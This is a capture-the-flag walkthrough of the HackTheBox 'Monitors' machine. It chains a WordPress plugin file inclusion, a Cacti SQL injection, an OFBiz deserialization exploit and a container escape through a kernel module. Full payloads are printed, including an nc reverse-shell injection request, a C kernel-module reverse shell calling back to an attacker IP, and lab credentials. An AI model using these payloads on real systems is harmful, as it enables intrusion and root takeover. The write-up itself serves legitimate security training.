HackTheBox - Monitors

Posted on Sat, Oct 9, 2021 Writeup HackTheBox Web SQLI LFI Container Breakout LKM Java Deserialization

Info Card :

0x1 – Recon

0x1.1 - Port and services enumeration

I will use masscan and nmap for open port enumeration to find out which port and service is running on the machine

I use masscan for faster enumeration

Masscan is faster than nmap

So we have two services running :

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.5.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to Monitor – Taking hardware monitoring seriously
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Let’s check web server...

0x2 – FootHold

"Sorry, direct IP access is not allowed. If you are having issues accessing the site then contact the website administrator: [email protected]"

Add monitors.htb to /etc/hosts

So access to web page :

0x2.1 - Directory enumeration

So im going to fuzz directories to see if there are any hidden directories where you can find interesting things

$ gobuster dir -u http://monitors.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x php,sql,txt

/wp-content           (Status: 301) [Size: 317] [--> http://monitors.htb/wp-content/]
/wp-login.php         (Status: 200) [Size: 7612]                                     
/license.txt          (Status: 200) [Size: 19915]                                    
/index.php            (Status: 301) [Size: 0] [--> http://monitors.htb/]             
/wp-includes          (Status: 301) [Size: 318] [--> http://monitors.htb/wp-includes/]
/wp-trackback.php     (Status: 200) [Size: 135]                                       
/wp-admin             (Status: 301) [Size: 315] [--> http://monitors.htb/wp-admin/]   
/xmlrpc.php           (Status: 405) [Size: 42]                                        
/wp-signup.php        (Status: 302) [Size: 0] [--> http://monitors.htb/wp-login.php?action=register]
/server-status        (Status: 403) [Size: 277]

0x2.2 - WordPress enumeration

We have typical WordPress directories and files (wp-login.php,wp-admin,..). So we are on a WordPress.

We will use a well known tool to list wordpress cms (WPSCAN)

wpscanteam/wpscan

WordPress Security Scanner WPScan WordPress Vulnerability Database - WordPress Security Plugin (Optional but highly recommended: RVM) Ruby >= 2.5 - Recommended: latest Ruby 2.5.0 to 2.5.3 can cause an 'undefined symbol: rmpd_util_str_to_d' error in some systems, see #1283 Curl >= 7.72 - Recommended: latest The 7.29 has a segfault The

$ wpscan --url http://monitors.htb/ -e ap
Flags info

—url (website url)

-e (ennumerate) ap = All plugins

With wpscan we found themes, plugins and lots of other information about the cms

We found a plugin called "wp-with-spritz".

Usually when we find the plugins present on worpress we search on them to see that they are not vulnerable

The Vuln is very stupid unfortunately some developers don't know their language well and make mistakes like not filtering special characters in a parameter

Correct lfi (not part of the box)

To fix the vulnerability the developer could have done his code like this :

// bad code
if(isset($_GET['url'])){
$content=file_get_contents($_GET['url']);

A simple str_replace will work against "../" but not against "../" encode more use the NULL Byte to stop the string before the extension so a simple str replace is not the solution to fix this vulnerability It is more radical to include the name directly in the code without going through the URL but testing a name instead :

<?php if ($_GET['page'] == “news”) {
    include(“exemple.php”);
} else {
    include (“index.php”);
}?>

0x3 – First Exploitation (LFI & RFI)

We have therefore identified a "local file inclusion & remote file inclusion" vulnerability"

What is lfi & rfi ?

A local file inclusion allows us to include local files in the server so the directory trasversal

A remote file inclusion allows to include remote files to the server (our files)

We will exploit the potential of this vulnerability to find something interesting

0x3.1 - Directory trasversal (fingerprinting)

You can look at /etc/passwd

http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/passwd

The user marcus can be found

Let's look at the "wp-config.php" file

What is "wp-config.php"

The wp-config.php creation script uses this file during the installation. You don't have to use the web site, you can copy this file to "wp-config.php" and fill in the values.

This file contains the following configurations:

  • MySQL settings
  • Secret keys
  • Database table prefix
  • ABSPATH

view-source:http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../wp-config.php

We therefore recover the credentials from the database (this may be of use to us in the future) :

/** MySQL database username */
define( 'DB_USER', 'wpadmin' );

/** MySQL database password */
define( 'DB_PASSWORD', '[email protected]!' );

The credentials don't work on the wordpress login let's try to list a bit more

We can try to get /var/log/apache2/access.log

But it seems the user with which I got LFI didn’t have access to access logs files. Did a little reading,researching and I came to know that /proc/self/fd provides symbolic shortcut to access logs and various other system related file. So I tried reading those in search for access logs

After trying several times we manage to see the apache access logs via /proc/self/fd/10

view-source:http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../proc/self/ld/10

There are some special GET requests in /cacti

We can see the host configuration in /etc/apache2/sites-available/000-default.conf

We found another vhost. We will put it in our /etc/hosts to access it

Let's get on it

0x4 - FootHold on cacti-admin.monitors.htb

Go to http://cacti-admin.monitors.htb

The page appears to be a login form

But before that we will inform ourselves about cacti

What is cacti ?

Cacti is a free network and server performance measurement software based on the data storage power of RRDTool. It is often used with monitoring software, but it does not do monitoring as such. It does not do incident correlation or alerting in case of an incident.

NOTE : Login to Cacti with the default username and password of "admin" and "admin"

The default credentials ones don't seem to work we can try to connect with the ones we found in the wp-config.php

We will try the password found in it with the user admin

Username : admin
Password : BestAdministrator@2020!

And it worked! Now we have access to the admin panel

We can identify the version of cacti in the top left of the index.php

Version : 1.2.12

We can try to find out about this version if it is not vulnerable

An automated script was released a few days after the machine

https://www.exploit-db.com/exploits/49810 (automated part)

By doing some research we find a poc that explains how to exploit Cact 1.2.12 via an sql injection in colors.php (manual part) https://github.com/Cacti/cacti/issues/3622

Due to the fact that the script was released a few days after the release of the machine I will show you how to do it manually and with a automated script.

0x5 - Exploiting Cacti (Sqli Injection)

Manually :

So the exploitation is an sql injection in /cacti/color.php page on the parameter filter . Via that if we can have a rce (remote code execution) on it

The application accept stacked queries, this can easy lead to remote code execution by replacing the path_php_binary setting inside the database.

CVE ID : CVE-2020-14295

Let's go to /cacti/colors.php and intercept the request with burp

0x5.1 Getting a shell

Following the proof of concept we can see that sql injection worked

GET /cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='touch+/tmp/sqli_from_rce;'+where+name='path_php_binary';--+-

The request (rce) sent just create a file in /tmp we can modify it to get a reverse shell on the machine

Normally our reverse shell should look like this (nc reverse shell) :

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f

But the query requires + instead of spaces and a ; at the end so our reverse shell will be like this :

rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+<ip>+<port>+>/tmp/f;

(hide <> from ip and port input)

So let's change the request like this :

GET /cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.76+9999+>/tmp/f;'+where+name='path_php_binary';--+- HTTP/1.1

Set up your listener on the port registered in your reverse shell

┌──(default㉿kali)-[~/Bureau/HTB/active/monitors]
└─$ nc -nvlp 9999                       
listening on [any] 9999 ...

Forward the request

Now we have to trigger on cacti/host.php?action=reindex

http://cacti-admin.monitors.htb/cacti/host.php?action=reindex and we get a reverse shell

Automated :

Download the python script here: https://www.exploit-db.com/exploits/49810

and run (with netcat listening on the chosen port) :

┌──(default㉿kali)-[~/Bureau/HTB/active/monitors]
└─$ python3 script.py -t http://cacti-admin.monitors.htb -u admin -p [email protected]! --lhost ip --lport port

0x6 – Privilege Escalation To Marcus

We already know the users on the machine (Marcus, Root)

But we can't read the user.txt file

[email protected]:/$ cat /home/marcus/user.txt
cat /home/marcus/user.txt
cat: /home/marcus/user.txt: Permission denied

We will have to set up a little enumeration on the server in order to find a way to escalate to the user marcus

You can't find anything by searching the SUID or the running processes or the cron

But let remember we find something to escalate on marcus user

Let's find out about him on the machine

use grep command to searching string "marcus" related file on every directory

[email protected]:/$ grep 'marcus' -R /etc 2>/dev/null
grep 'marcus' -R /etc 2>/dev/null
/etc/group-:marcus:x:1000:
/etc/subgid:marcus:165536:65536
/etc/group:marcus:x:1000:
/etc/passwd:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
/etc/systemd/system/cacti-backup.service:ExecStart=/home/marcus/.backup/backup.sh
/etc/subuid:marcus:165536:65536
/etc/passwd-:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash

We found an interesting service in /etc/systemd/system/cacti-backup.service

What is systemd

systemd is a Linux initialization system and service manager that includes features like on-demand starting of daemons, mount and automount point maintenance, snapshot support, and processes tracking using Linux control groups.

Otherwise we are not allowed to start the service but we can try to read the .sh file

[email protected]:/$ cat /home/marcus/.backup/backup.sh
cat /home/marcus/.backup/backup.sh
#!/bin/bash

backup_name="cacti_backup"
config_pass="VerticalEdge2020"

zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip

And yes no can. So we get the credentials of the configuration

It could be the password of marcus we can try to establish a ssh connection to get a shell as marcus

┌──(default㉿kali)-[~]
└─$ ssh [email protected]
[email protected]'s password: VerticalEdge2020
[email protected]:~$ cat user.txt
3d173d0b05fcb4a1281f4b00f0a9d810

0x7 – Final Privilege Escalation

By enumerating the server as marcus I could see the presence that the machine was listening on other port so other service

To see this I used netstat with the -pulnt options

Understand netstat

Netstat Print network connections, routing tables, interface statistics, masquerade connections, and multicast memberships

-p,--program
    Show the PID and name of the program to which each socket belongs.
-u --udp
	For UDP
-l,--listening
    Show only listening sockets.  (These are omitted by default.)
--numeric,-n
    Show numerical addresses instead of trying to determine symbolic host, port or user names.
-t --tcp
	For TCP

So we can see that the machine is listening on other ports :

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   
udp        0      0 127.0.0.1:161           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:52725           0.0.0.0:*                           -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -

The port 8443 looks interesting you can google what it is used for

The port 8443 is the default port that Tomcat use to open SSL text service. The default configuration file used in the port is 8443.

The Tomcat is a core project in the Jakarta project of the Apache Software Foundation, which is developed by Apache, Sun and several other companies and individuals.

It is therefore a port that runs an https service

Interestingly, this means that there is a web server on which we do not have access. We could try to forward the port on our localhost to see what the service is doing.

For that I will create a ssh tunnel that redirects port 8443 on our localhost in order to have access to it

To understand port forwarding :

Post Exploitation - Port Forwarding

The main purpose of port forwarding while performing a penetration test is to help us reach a specific port on a system that doesn't exist on the same network.In order to understand this better let's assume that we have compromised a system which belongs to two networks.The one network is the public that we managed...

0x5.1 - Port Forwarding

┌──(default㉿kali)-[~/Bureau/HTB/active/monitors]
└─$ ssh -L 8443:127.0.0.1:8443 [email protected]

Now that we can access the service through port forwarding via the ssh tunnel we can enumerate the service to find something else

So let's go to the web server

0x5.2 Apache OFBiz XML-RPC Java Deserialization

Its looks like apache tomcat 9.0.31 We can try to fuzz directories :

┌──(default㉿kali)-[~]
└─$ gobuster dir -u https://127.0.0.1:8443/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,sql,txt -k
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://127.0.0.1:8443/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php,sql
[+] Timeout:                 10s
===============================================================
2021/04/29 22:34:27 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 302) [Size: 0] [--> /images/]
/content              (Status: 302) [Size: 0] [--> /content/]
/common               (Status: 302) [Size: 0] [--> /common/] 
/catalog              (Status: 302) [Size: 0] [--> /catalog/]
/marketing            (Status: 302) [Size: 0] [--> /marketing/]
/ecommerce            (Status: 302) [Size: 0] [--> /ecommerce/]
/ap                   (Status: 302) [Size: 0] [--> /ap/]       
/ar                   (Status: 302) [Size: 0] [--> /ar/]       
/ebay                 (Status: 302) [Size: 0] [--> /ebay/]     
/manufacturing        (Status: 302) [Size: 0] [--> /manufacturing/]
/passport             (Status: 302) [Size: 0] [--> /passport/]     
/example              (Status: 302) [Size: 0] [--> /example/]      
/bi                   (Status: 302) [Size: 0] [--> /bi/]           
/accounting           (Status: 302) [Size: 0] [--> /accounting/]   
/webtools             (Status: 302) [Size: 0] [--> /webtools/]

If we look in the "/webtools" directory it redirects us to "/webtools/control/main" and we can find the following sentence:

"For something interesting make sure you are logged in, try username: admin, password: ofbiz.

NOTE: If you have not already run the installation data loading script, from the ofbiz home directory run "gradlew loadAll" or "java -jar build/libs/ofbiz.jar -l"

It seems that the credentials does not work on the login form

But we can see that we are on an Apache OFBiz

What is OFBiz ?

Apache Apache OFBiz is a free, open source, integrated suite of enterprise applications used to automate many business processes.

We can look on the internet if vulnerabilities are present on apache ofbiz 9.0.31 running on port 8443

It seems to be vulnerable to XML-RPC Java Deserialization

dwisiswant0/CVE-2020-9496

Contribute to dwisiswant0/CVE-2020-9496 development by creating an account on GitHub.

Add CVEs (CVE-2020-9496, CVE-2019-6112 & CVE-2019-11580) by dwisiswant0 · Pull Request #312 · projectdiscovery/nuclei-templates

Add this suggestion to a batch that can be applied as a single commit. This suggestion is invalid because no changes were made to the code. Suggestions cannot be applied while the pull request is closed. Suggestions cannot be applied while viewing a subset of changes.

Searching a little we find a metasploit module that could suit us

rapid7/metasploit-framework

Metasploit Framework. Contribute to rapid7/metasploit-framework development by creating an account on GitHub.

┌──(default㉿kali)-[~]
└─$ msfconsole
msf6 > use exploit/linux/http/apache_ofbiz_deserialization
[*] Using configured payload linux/x64/meterpreter_reverse_https
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set lhost 10.10.14.76
lhost => 10.10.14.76
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set lport 1337
lport => 1337
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set forceexploit true
forceexploit => true
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set payload linux/x64/shell/reverse_tcp
payload => linux/x64/shell/reverse_tcp

And we are root! Oh wait it wouldn't be that easy !

The precense of the .dockerenv and the hostname tells us that we are on a container (a docker)

Unfortunately it will not be so easy we have to find a way to escape from this docker

This process is called container escape

We will have to list the docker. The enumeration of docker is not obvious for everyone. To help you in the future you can find cheat sheets on the internet to guide us in our enumeration

Docker Breakout

A container would be vulnerable to this technique if run with the flags: --security-opt apparmor=unconfined --cap-add=SYS_ADMIN cgroup controller and create a child cgroup (named "x" for the purposes of this example). While every cgroup controller has not been tested, this technique should work with the majority of cgroup controllers.

0x5.3 - Container escaping via capability abusing

In a container there are "Container Capabilities"

By default, Docker containers are unprivileged. For example, in the default case, you cannot run a Docker daemon inside a Docker container. To give you control over a container's capabilities, Docker supports cap-add and cap-drop. For more details, see Runtime privilege and Linux capabilities.

You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE

Container capabilities - Unofficial Kubernetes

By default, Docker containers are unprivileged. For example, in the default case, you cannot run a Docker daemon inside a Docker container. To give you control over a container's capabilities, Docker supports cap-add and cap-drop. For more details, see Runtime privilege and Linux capabilities.

To enumerate the capabilities of in linux we can do the following command ( linpeas and linenum enumerate docker too ):

capsh --print

We found the access to use a very interesting capability

cap_sys_module

CAP_SYS_MODULE
              * Load and unload kernel modules (seeinit_module(2) and
delete_module(2));
              * in kernels before 2.6.25: drop capabilities from the
                system-wide capability bounding set.

To explain what cap_sys_module does we can load and unload kernel modules in our case we will try to abuse it

Searching on the internet I found this article very interesting to abuse this capability

Abusing SYS_MODULE capability to perform Docker container breakout

Step 4: Create a Makefile to compile the kernel module. Makefile: Command: cat Makefile Step 5: Make the kernel module. Command: make Step 6: The idea here is to compile this kernel module (reverse-shell.ko) into the kernel of the Docker host machine.

L'article nous explique que

Sometimes the application/tool packaged in the Docker image might need to perform a privileged operation in order to function. For example, it might need to insert a kernel module into the kernel of the Docker host.

In such a case, the Docker allows the user to add an additional Linux capability (i.e. SYS_MODULE) to the container. This approach is way better than using an all-powerful “privileged” option.

For uninitialized, Linux Capabilities are used to allow binaries (executed by non-root users) to perform privileged operations without providing them all root permissions. There are currently 40 capabilities supported by the Linux kernel.

In order to exploit the cape we will have to prepare it

  1. Find the IP address of the docker container.

We found it when we connect to the ssh but we could have found it directly on the docker

2. Write a program to invoke a reverse shell with the help of usermode Helper API.

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/172.17.0.2/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

This code can be found on the article

Explanation

Save the above program as “reverse-shell.c”

3. Create a Makefile to compile the kernel module.

obj-m +=reverse-shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

4. Make the kernel module

[email protected]:/root# wget http://10.10.14.76/reverse-shell.c
wget http://10.10.14.76/reverse-shell.c
--2021-04-29 23:08:12--  http://10.10.14.76/reverse-shell.c
Connecting to 10.10.14.76:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 616 [text/x-csrc]
Saving to: 'reverse-shell.c'

     0K                                                       100% 39.2M=0s

2021-04-29 23:08:12 (39.2 MB/s) - 'reverse-shell.c' saved [616/616]

[email protected]:/root# wget http://10.10.14.76/Makefile
wget http://10.10.14.76/Makefile
--2021-04-29 23:08:35--  http://10.10.14.76/Makefile
Connecting to 10.10.14.76:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 160 [application/octet-stream]
Saving to: 'Makefile'

     0K                                                       100% 10.9M=0s

2021-04-29 23:08:35 (10.9 MB/s) - 'Makefile' saved [160/160]

[email protected]:/root# make
make
make -C /lib/modules/4.15.0-142-generic/build M=/root modules
make[1]: Entering directory '/usr/src/linux-headers-4.15.0-142-generic'
  CC [M]  /root/reverse-shell.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/reverse-shell.mod.o
  LD [M]  /root/reverse-shell.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-142-generic'

5. Insert kernel modul

Insert the kernel module and don't forget to set up your listener to have the reverse shell as root

insmod reverse-shell.ko

And we just pwned the machine !

0xDetails

CVE Details

JavaScript is not available.